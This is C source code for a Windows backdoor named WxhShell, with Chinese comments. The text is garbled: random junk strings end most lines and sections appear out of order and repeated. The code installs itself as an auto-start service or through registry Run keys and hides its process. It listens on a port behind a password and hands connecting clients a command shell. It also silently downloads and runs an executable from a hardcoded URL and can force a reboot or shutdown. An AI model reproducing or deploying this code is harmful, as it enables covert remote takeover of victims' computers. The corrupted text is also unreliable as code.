    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \nKpJ9!  
    else { m,qMRcDF  
    closesocket(wsh); 0&W*U{0F\  
    ExitThread(0); X`+8r O[  
    } ^T.icSxP  
    break; 8Q*477=I  
    } Y~fa=R{W  
  // 获取shell ,t!K? Y  
  case 's': { j@98UZ{g\  
    CmdShell(wsh); mZgYR~  
    closesocket(wsh); Xh[02iL-  
    ExitThread(0); 7R{(\s\9:  
    break; ($vaj;  
  } b14WIgjsl  
  // 退出 >X$I:M<L  
  case 'x': { `:4bg1u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k/`WfSM\.  
    CloseIt(wsh); <jk.9$\$A  
    break; c[6=&  
    } Rr!oT?6J?  
  // 离开 ^]_5oFRIj  
  case 'q': { UD+r{s/%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f-'$tMs  
    closesocket(wsh); op|:XLR5  
    WSACleanup(); zfBaB0P  
    exit(1); q '  
    break; h=7eOK]  
        } `+c8;p'q  
  } _ft)e3Gf  
  } t#eTn";  
mi>CHa+$  
  // 提示信息 R3<2Z0lqy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (U GmbRf&  
} c1 ~=   
  } jWX^h^n7K  
:8CYTEc  
  return; Ev)aXP  
} f:K3 P[|  
l`' lqnhv  
// shell模块句柄 yClbM5,  
int CmdShell(SOCKET sock) gT=RJB  
{ *qN (_  
STARTUPINFO si; M,WC+")Z=  
ZeroMemory(&si,sizeof(si)); J_tI]?jrU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mz<wYV*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =I6u*$9<  
PROCESS_INFORMATION ProcessInfo; *9?T?S|^$F  
char cmdline[]="cmd"; 1oVjx_I5y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :{tj5P!S  
  return 0; <M,A:u\qSQ  
} 2TZ+R7B?  
OBBEsD/bc  
// 自身启动模式 f[;l7  
int StartFromService(void) rjJ-ZRs\  
{ y~jYGN  
typedef struct aN}l&4d  
{ Dj$W?dC"^  
  DWORD ExitStatus; o@!!I w  
  DWORD PebBaseAddress; P:3%#d~q  
  DWORD AffinityMask; ]B'H(o R<|  
  DWORD BasePriority; ,2y " \_  
  ULONG UniqueProcessId; VdfV5"  
  ULONG InheritedFromUniqueProcessId; c~=yD:$  
}   PROCESS_BASIC_INFORMATION; H>/LC* 8-  
 =>Md>VM  
PROCNTQSIP NtQueryInformationProcess; r:n-?P  
9" RGf 1]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <s737Rl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MG G c  
e52y}'L  
  HANDLE             hProcess; $sTvXf:g  
  PROCESS_BASIC_INFORMATION pbi; kl90w  
}K%y'D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hG3p"_L  
  if(NULL == hInst ) return 0; EgY yvS)  
V(LE4P 1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /cN. -lEo%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k.d Q;v}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ue8k9%qV  
A` iZ"?  
  if (!NtQueryInformationProcess) return 0; Ub%sw&QG(9  
KW[Jft  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #!n"),3  
  if(!hProcess) return 0; +mqz)-x  
^^{gn3xJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,svj(HP$  
ZGHh!Ds;  
  CloseHandle(hProcess); ]PI|Xl  
!KEnr`O2u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xqA XfJ.  
if(hProcess==NULL) return 0; ~1`ZPLVG  
e#uk+]  
HMODULE hMod; a=!I(50  
char procName[255]; n~wNee  
unsigned long cbNeeded; L9FijF7  
R>YDn|cWI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .-(s`2  
1~x=bphS  
  CloseHandle(hProcess); JnT1-=t.  
52L* :|b  
if(strstr(procName,"services")) return 1; // 以服务启动 p 7YfOUo k  
5 1\N+  
  return 0; // 注册表启动 ]("5O V5  
} wv~?<DF  
yye( ^  
// 主模块 )7j CEA03  
int StartWxhshell(LPSTR lpCmdLine) M-B-  
{ Yiq8 >|  
  SOCKET wsl; s=uWBh3J  
BOOL val=TRUE; h{sY5d'D  
  int port=0; LE" t'R   
  struct sockaddr_in door; Y.<&phv  
p^s k?E  
  if(wscfg.ws_autoins) Install(); -5Km 9X8  
hjgxCSp  
port=atoi(lpCmdLine); -'sn0 _q/e  
 );cu{GY  
if(port<=0) port=wscfg.ws_port; vX'@we7Q{  
%ys-y?r  
  WSADATA data; pNHO;N[&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >^  E  
kr_!AW<.tz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   y+C.2 ca  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8w[nY.#T  
  door.sin_family = AF_INET; _Q:739&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qhPvU( ,  
  door.sin_port = htons(port); V@(7K0  
ARZ5r48)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $|2@of.  
closesocket(wsl); "?lm`3W"  
return 1; l u^fKQ  
} 9J$8=UuxWG  
\ :*<En0  
  if(listen(wsl,2) == INVALID_SOCKET) { jmAQ!y|W.  
closesocket(wsl); 3gn) q>Xj$  
return 1; gyI(O>e  
} B3P#p^  
  Wxhshell(wsl); LE|*Je3a  
  WSACleanup(); a s{^~8B  
1xJc[q  
return 0; \I"UW1)B  
5nGDt~a  
} 8%$Vj  
WB=pRC@  
// 以NT服务方式启动 C y b-}l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H8ws6}C  
{ CXQPbt[5  
DWORD   status = 0; fCMH<}w  
  DWORD   specificError = 0xfffffff; fDn|o"  
A-GRuC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CZ/bO#~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S[b)`Wi D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )m-l&UK  
  serviceStatus.dwWin32ExitCode     = 0; >t/P^fr_F  
  serviceStatus.dwServiceSpecificExitCode = 0; DiB~Ovh|  
  serviceStatus.dwCheckPoint       = 0; z_dorDF8`>  
  serviceStatus.dwWaitHint       = 0; s{-`y`JP  
aN.t) DG}J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {ZS-]|Kx  
  if (hServiceStatusHandle==0) return; L29,Y=n@  
Vs1j9P|G  
status = GetLastError(); [\ M=w7  
  if (status!=NO_ERROR) y1JxAj  
{ $>3/6(bW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a:o Z5PX=  
    serviceStatus.dwCheckPoint       = 0; PC| U]  
    serviceStatus.dwWaitHint       = 0; 0`KB|=>  
    serviceStatus.dwWin32ExitCode     = status; M1MpR+7S  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5pBQ~m3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ::y+|V/  
    return; ]y'/7U+  
  } e#YQA  
_l&`* 2d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; UXXN\D  
  serviceStatus.dwCheckPoint       = 0; uhuwQS=X  
  serviceStatus.dwWaitHint       = 0; ZD9UE3-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~h~K"GbC?  
} Fr}e-a  
Y2 &N#~l*  
// 处理NT服务事件,比如:启动、停止 T4 dYC'z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qIwI]ub~  
{ 3 <V{.T  
switch(fdwControl) # $:ddO Y  
{ rx*1S/\PPc  
case SERVICE_CONTROL_STOP: 8+&] q#W3  
  serviceStatus.dwWin32ExitCode = 0; C^@.GA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h^P>,dy0  
  serviceStatus.dwCheckPoint   = 0; cJ G><'  
  serviceStatus.dwWaitHint     = 0; gc:qqJi)X  
  { Lc|5&<8ZG1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ];waK 2'2  
  } .(Gq9m[~8H  
  return; o0~+%&  
case SERVICE_CONTROL_PAUSE: IED7v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; K_iy^|0)5]  
  break; ! af35WF  
case SERVICE_CONTROL_CONTINUE: @15%fX`*o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3z[yKua\  
  break; iQczvn)"m  
case SERVICE_CONTROL_INTERROGATE: l-yQ3/:  
  break; ZhKYoPIq  
}; Ns-cT'1-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G .~Psw#  
} *f~X wy"  
"hU'o&  
// 标准应用程序主函数 ^;3z9}9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )* @Oz  
{ uc?QS~H&w  
D?rQQxb  
// 获取操作系统版本 #&G^%1!  
OsIsNt=GetOsVer(); " }@QL`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z.g'8#@  
DRD%pm(  
  // 从命令行安装 VVdgNT|}W  
  if(strpbrk(lpCmdLine,"iI")) Install(); q P@4KH} e  
30Nya$$A=  
  // 下载执行文件 rN)T xH&*p  
if(wscfg.ws_downexe) { qoBm!|q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OHzI!,2]  
  WinExec(wscfg.ws_filenam,SW_HIDE); S]Gw}d]4  
} cO2 .gQo'  
]Au78Yom  
if(!OsIsNt) { f/ 9]o  
// 如果时win9x,隐藏进程并且设置为注册表启动 &oevgG  
HideProc(); vN%zk(?T  
StartWxhshell(lpCmdLine); n 5NkjhP~Z  
} )< ~1AL  
else OGNjn9av  
  if(StartFromService()) Vtm5&-  
  // 以服务方式启动 :N#gNtC)b  
  StartServiceCtrlDispatcher(DispatchTable); wobTT1!|  
else 8=Di+r  
  // 普通方式启动 b1>%%#  
  StartWxhshell(lpCmdLine); R|h9ilc  
vBd^=O  
return 0; MpM-xz~  
} @R>4b  
GmN} +(  
KcVCA    
7t\W{y  
=========================================== pi? q<p%  
:|oH11 y  
.:c^G[CQ^9  
\$s<G|<P  
*&>1A A  
0@1AH<  
" eJ>(SkR:[  
bT>% *  
#include <stdio.h> 8QDRlF:;<  
#include <string.h> -MoI{3a  
#include <windows.h> RX:\@c&  
#include <winsock2.h> kRnh20I  
#include <winsvc.h> $lci{D32,  
#include <urlmon.h> 7ZS 5u+o  
M)6_Ta l  
#pragma comment (lib, "Ws2_32.lib") ,T_HE3K  
#pragma comment (lib, "urlmon.lib") =35^k-VS  
VB*$lx X  
#define MAX_USER   100 // 最大客户端连接数 zl46E~"]x  
#define BUF_SOCK   200 // sock buffer y[S 5  
#define KEY_BUFF   255 // 输入 buffer 0R<@*  
G@h6>O  
#define REBOOT     0   // 重启 ]i\D*,FfU  
#define SHUTDOWN   1   // 关机 t/HMJ  
Uf{cUY,j_  
#define DEF_PORT   5000 // 监听端口 QvK/31*QG  
V{;Mh u`+  
#define REG_LEN     16   // 注册表键长度 |~k=:sSz{  
#define SVC_LEN     80   // NT服务名长度 [zIX&fPk$  
\?h +  
// 从dll定义API #B|`F?o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !Pt|Hk dr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }S3m wp<Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^-PlTmT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (w?@qs!  
^~|P[}  
// wxhshell配置信息 _;$VH4(BI  
struct WSCFG { 'Wl) )lB  
  int ws_port;         // 监听端口 a3ve%b  
  char ws_passstr[REG_LEN]; // 口令 S1wt>}w0$  
  int ws_autoins;       // 安装标记, 1=yes 0=no Nqp%Z7G  
  char ws_regname[REG_LEN]; // 注册表键名 l%.3hId-  
  char ws_svcname[REG_LEN]; // 服务名 }m/aigA[1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9*RfOdnNe  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z T95g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m C_v!nL.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :51Q~5k4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P~iu|j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PX52a[wNDH  
"EF: +gi#"  
}; A1Mr  
Jz 'm&mu  
// default Wxhshell configuration %I;ej{*c  
struct WSCFG wscfg={DEF_PORT, ;2kiEATQ 1  
    "xuhuanlingzhe", `,Q uO  
    1, dgE|*1/0  
    "Wxhshell", o\1"ux;b  
    "Wxhshell", `Z>4}<~+  
            "WxhShell Service", :}FMauHh  
    "Wrsky Windows CmdShell Service", $jo}?Y+  
    "Please Input Your Password: ", N \[Cuh8Fe  
  1, 37x2fnC  
  "http://www.wrsky.com/wxhshell.exe", d"uR1 rTk  
  "Wxhshell.exe" CT3wd?)z`  
    }; .RH}/D  
T/MbEqAf  
// 消息定义模块 KQaw*T[Q3w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fyYT#r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #*j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1$?O5.X:  
char *msg_ws_ext="\n\rExit."; tn+i5Eso  
char *msg_ws_end="\n\rQuit."; 1Jc-hrN-  
char *msg_ws_boot="\n\rReboot..."; g&O%qX-  
char *msg_ws_poff="\n\rShutdown..."; 5R?iTB1,  
char *msg_ws_down="\n\rSave to "; ^4x(a&  
*bDuRr?v9  
char *msg_ws_err="\n\rErr!"; #?YQ&o~gZ  
char *msg_ws_ok="\n\rOK!"; &`Q0&8d5  
}7+G'=XI/  
char ExeFile[MAX_PATH]; i>_V?OT#5  
int nUser = 0; +*a:\b" fx  
HANDLE handles[MAX_USER]; z(i B$;M  
int OsIsNt; \evK.i*KfA  
b)(#/}jMkD  
SERVICE_STATUS       serviceStatus; @G^]kDFM{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  r75,mX  
{6~v oVkj  
// 函数声明 [IF3 ,C  
int Install(void); ;gTdiwfgZ=  
int Uninstall(void); <tMiI)0%  
int DownloadFile(char *sURL, SOCKET wsh); [ahD%UxO5  
int Boot(int flag); K SDo)7`  
void HideProc(void); bk}.^m!  
int GetOsVer(void); iE':ur<`  
int Wxhshell(SOCKET wsl); #,Fk  
void TalkWithClient(void *cs); f}Eoc>n  
int CmdShell(SOCKET sock); i|*(vH&D.  
int StartFromService(void); XWo:~\  
int StartWxhshell(LPSTR lpCmdLine); %L:e~*  
NwIl~FNK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `]_#_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VT?J TW  
tmDI2Z%7  
// 数据结构和表定义 ]L^X}[SH  
SERVICE_TABLE_ENTRY DispatchTable[] = l131^48U  
{ 5Lo{\7%  
{wscfg.ws_svcname, NTServiceMain}, )/HSt%>  
{NULL, NULL} mNc (  
}; :@KWp{ D7  
`XB(d@%  
// 自我安装 VzA~w` $d  
int Install(void) ;<Oe\X  
{ {kD|8["Ie'  
  char svExeFile[MAX_PATH]; R}8!~Ma`|  
  HKEY key; d2'9C6t  
  strcpy(svExeFile,ExeFile); &7,Kv0j}  
CSRcTxH  
// 如果是win9x系统,修改注册表设为自启动 z ,87;4-  
if(!OsIsNt) { ={~`0,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E[/<AY^@!z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UaiDo"i  
  RegCloseKey(key); qtnLQl"M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QK&<im-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7C9qkQ Jqn  
  RegCloseKey(key); Yl% Ra1  
  return 0; )3=oS1p  
    } xqmP/1=NO  
  } Xnt`7L<L  
} AH;0=<n  
else { rOm)s'  
7h<B:~(K  
// 如果是NT以上系统,安装为系统服务 b&"=W9(V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BLgmF E2  
if (schSCManager!=0) Y 6K<e:Y  
{ cAM1\3HWT"  
  SC_HANDLE schService = CreateService 1 ?]Gl+}  
  ( w{?nX6a@p  
  schSCManager, Jt43+]  
  wscfg.ws_svcname, HB\<nK  
  wscfg.ws_svcdisp, xop9*Z$  
  SERVICE_ALL_ACCESS, &dp(CH<De  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0\qbJ  
  SERVICE_AUTO_START, ?y>xC|kt  
  SERVICE_ERROR_NORMAL, Se9I1~mX  
  svExeFile, :aV(i.LW  
  NULL, O _yJR  
  NULL, 9IIQon  
  NULL, Vz1ro  
  NULL, @2v L'6  
  NULL sOa`Tk  
  ); #[ vmS  
  if (schService!=0) r50}j  
  { HTao)`.  
  CloseServiceHandle(schService); Qf6]qJa|  
  CloseServiceHandle(schSCManager);  Xt(w+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tQ< ou,   
  strcat(svExeFile,wscfg.ws_svcname); oJ ,t]e*q=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BEPeK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;Z-xum{  
  RegCloseKey(key); 3v :PBmE  
  return 0; B'"C?d<7  
    } T;w%-k\<r  
  } V.Dqbv  
  CloseServiceHandle(schSCManager); M\ vj&T{k  
} s 4Lqam!  
} T3u%V_  
j +\I4oFN  
return 1; {-2I^Ym 5i  
} iIA5ylf{E  
PEW^Vl-6q  
// 自我卸载 lsU|xOB  
int Uninstall(void) GM%%7^uE  
{ "1$OPt5  
  HKEY key; rY4{,4V  
DlC`GZEtqh  
if(!OsIsNt) { /B.\6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ><}FyK4C  
  RegDeleteValue(key,wscfg.ws_regname); \\AufAkJ  
  RegCloseKey(key); n"N!76  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,-myR1}  
  RegDeleteValue(key,wscfg.ws_regname); OE]z C  
  RegCloseKey(key); I7ZY9W(S  
  return 0; Rx<m+=  
  } y/k6gl[`  
} w&jyijk(  
} ~McmlJzJG  
else { 8VQJUwf;  
kE;h[No&K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :CH "cbo  
if (schSCManager!=0) lyNa(3  
{ ,#hS#?t   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /) sA{q 4  
  if (schService!=0) WF,<7mx=-  
  { ()e.J  
  if(DeleteService(schService)!=0) { NNLZ38BV7  
  CloseServiceHandle(schService); CE]0OY  
  CloseServiceHandle(schSCManager); }R4%%)j(Vj  
  return 0; vM!lL6T:  
  } #_0OYL`(mE  
  CloseServiceHandle(schService); (JHzwI8+  
  } =># S7=  
  CloseServiceHandle(schSCManager); 4+e9:r]  
} ~XQj0'  
} fgIzT!fyz  
@8E mY,{;  
return 1; 8 z0j}xY%  
} smvIU0:K  
Tj7OV}:  
// 从指定url下载文件 64 9{\;*4  
int DownloadFile(char *sURL, SOCKET wsh) LsH&`G^<  
{ A]L;LkEM  
  HRESULT hr; 7ZarXv z  
char seps[]= "/"; 4scY 8(1  
char *token; MkgeECMf  
char *file; (oTtnQ""+  
char myURL[MAX_PATH]; Q xZYy}2  
char myFILE[MAX_PATH]; ]Q1?Ox:'  
X`xmV!  
strcpy(myURL,sURL); C"}CD{<H]M  
  token=strtok(myURL,seps); L;N)l2m.\  
  while(token!=NULL) Q%)da)0:c  
  { ,<R/jHZP9  
    file=token; 11t+ a,fM  
  token=strtok(NULL,seps); 2z+Vt_%  
  } kDI(Y=Fg  
X3&-kU  
GetCurrentDirectory(MAX_PATH,myFILE); {U@&hE -  
strcat(myFILE, "\\"); y|X</3w  
strcat(myFILE, file); Z BjyQ4h  
  send(wsh,myFILE,strlen(myFILE),0); hr3RC+ y  
send(wsh,"...",3,0);  2f>G   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "[M,PI!B  
  if(hr==S_OK) GcN[bH(@  
return 0; Pu/X_D-#Gi  
else HwfBbWHr'  
return 1; 1bjhEO W  
"P.H  
} gZ vX~  
9n4vuBgv  
// 系统电源模块 5-'jYp/  
int Boot(int flag) uqe{F+;8&  
{ 7i^7sT8t  
  HANDLE hToken; =v^LShD2^  
  TOKEN_PRIVILEGES tkp; %+Hhe]J ld  
c6/+Ye =h  
  if(OsIsNt) { Wy1#K)LRb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XTboFrf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E_sKDybj  
    tkp.PrivilegeCount = 1; 7|Z=#3INw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _+Tq&,_:o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^ [FK<9  
if(flag==REBOOT) { lh^-L+G:Ok  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L3}n(K AJj  
  return 0; r:pS[f|4\  
} Mbbgsy3W  
else { `! ~~Wf'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v:/+Oz Y  
  return 0; JxI\ss?O  
} .axJ'*~W  
  } 7> ~70  
  else { <[iw1>  
if(flag==REBOOT) { *Iy5 V7`KU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5?6U@??]  
  return 0; D<=x<.  
} +9mE1$C  
else { jw63sn  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @c 3GJ'"X  
  return 0; Rdb[{Ruxb  
} @o4+MQFn  
} n-ZOe]3  
bu[PQsT  
return 1; 0zJT _H+  
} 0X \OQ;  
+c4-7/kE  
// win9x进程隐藏模块 q8&2M  
void HideProc(void) j"G1D-S:  
{ [I6(;lq2  
~)J]`el,Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R(YhVW_l  
  if ( hKernel != NULL ) ":=\ ci]e%  
  { RNa59b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (41BUX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bEO\oS  
    FreeLibrary(hKernel); B$ty`/{w,B  
  } mEK0ID\  
3PRg/vD3  
return; A'A5.\UN  
} &lbZTY}  
^eF%4DUC;  
// 获取操作系统版本 VN3"$@-POK  
int GetOsVer(void) cD^`dn%$  
{ O5rHN;\_  
  OSVERSIONINFO winfo; VycC uq&M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )w.+( v(  
  GetVersionEx(&winfo); f3r\X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M1nH!A~o  
  return 1; g2?kC^=z=  
  else #>O!N  
  return 0; 2pr#qh8  
} 7Iz%Jty  
d7, ZpHt  
// 客户端句柄模块 Hlh`d N  
int Wxhshell(SOCKET wsl) (RXOv"''=  
{ ~7CQw^"R@  
  SOCKET wsh; MTnW5W-r9  
  struct sockaddr_in client;  Tt;h?  
  DWORD myID; l]g /rs  
\\ZR~f!<  
  while(nUser<MAX_USER) Rgstk/1  
{ ] o!r K<  
  int nSize=sizeof(client); Rs$fNW@P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8|]r>L$Wk  
  if(wsh==INVALID_SOCKET) return 1; /#<R  
X667*L^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R_DstpsT  
if(handles[nUser]==0) 9F~e^v]zp  
  closesocket(wsh); 0iKSUw ps  
else "+0Yhr?  
  nUser++; ,Yp+&&p.  
  } 8m prK`p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &*Sgyk o`  
;+ -@AYl  
  return 0; L3N ?^^]  
} u"$=:GK  
VL =19[  
// 关闭 socket 3t4i2]  
void CloseIt(SOCKET wsh) Xu.Wdl/{Ra  
{ k<&zVV '  
closesocket(wsh); XY_hTHJ  
nUser--; <w,NMu"  
ExitThread(0); dnwTD\),  
} Etj0k} A  
@Sr{6g*I  
// 客户端请求句柄 {th=MldJ?  
void TalkWithClient(void *cs) pA%}CmrMq  
{ Q1 t-Z; X  
@p$Nw.{'  
  SOCKET wsh=(SOCKET)cs; DPWt=IFU  
  char pwd[SVC_LEN]; l1M %   
  char cmd[KEY_BUFF]; AfAlDM'  
char chr[1]; g)3HVAT  
int i,j; Vx Vpl@  
(^{tu89ab  
  while (nUser < MAX_USER) { thU9s%,  
=00c1v  
if(wscfg.ws_passstr) { ^y,Ex;6o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4ZUTF3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2\4ammwT  
  //ZeroMemory(pwd,KEY_BUFF); 04j]W]8#  
      i=0; 5n0B`A  
  while(i<SVC_LEN) { Sux/='  
icrcP ~$A  
  // 设置超时 MQ#nP_i  
  fd_set FdRead; _\2Ae\&c  
  struct timeval TimeOut; xS'Kr.S  
  FD_ZERO(&FdRead); h&| S*  
  FD_SET(wsh,&FdRead); ShIJ6LZ  
  TimeOut.tv_sec=8; ?5IF;vk  
  TimeOut.tv_usec=0; ]Pp}=hcD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p{vGc-zP .  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _Xqa_6+/  
'5)PYjMnH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1u~CNHm  
  pwd=chr[0]; sk%Xf,  
  if(chr[0]==0xd || chr[0]==0xa) { 69"4/n7B?  
  pwd=0; u\y$<  
  break; GXnrVI  
  } De-hHY{>  
  i++; gX%"Ki7.  
    } 6(1S_b=a  
0X<U.Sxn  
  // 如果是非法用户,关闭 socket d}w}VL8l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3a\De(;  
} Oxp!G7qfo  
"- ?uB Mz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T Ob(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ql1J?9W  
kf:Nub+h t  
while(1) { si,)!%b  
?on EqH>  
  ZeroMemory(cmd,KEY_BUFF); zl3GWj|?\7  
RxYC]R^78  
      // 自动支持客户端 telnet标准   ;Tec)Fl  
  j=0; _2a)b(<tF  
  while(j<KEY_BUFF) { *-';ycOvr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "?M)2,:A  
  cmd[j]=chr[0]; )Tl]1^  
  if(chr[0]==0xa || chr[0]==0xd) { 9*2Q'z}_  
  cmd[j]=0; 8yC/:_ML  
  break; 2PC:F9dh\  
  } xE5VXYU  
  j++; b{Bef*`/  
    } \v _R]0m\  
VeipM  
  // 下载文件 R xA:>yOPn  
  if(strstr(cmd,"http://")) { v&)G~cz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0t?g!  
  if(DownloadFile(cmd,wsh)) @s|G18@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y'+mC  
  else GboZ T68  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b:Tv Ta  
  } w+Y_TJ%  
  else { dAr=X4LE  
{ V$}qa{P  
    switch(cmd[0]) { .Q!pQ"5  
  [85b+SKW  
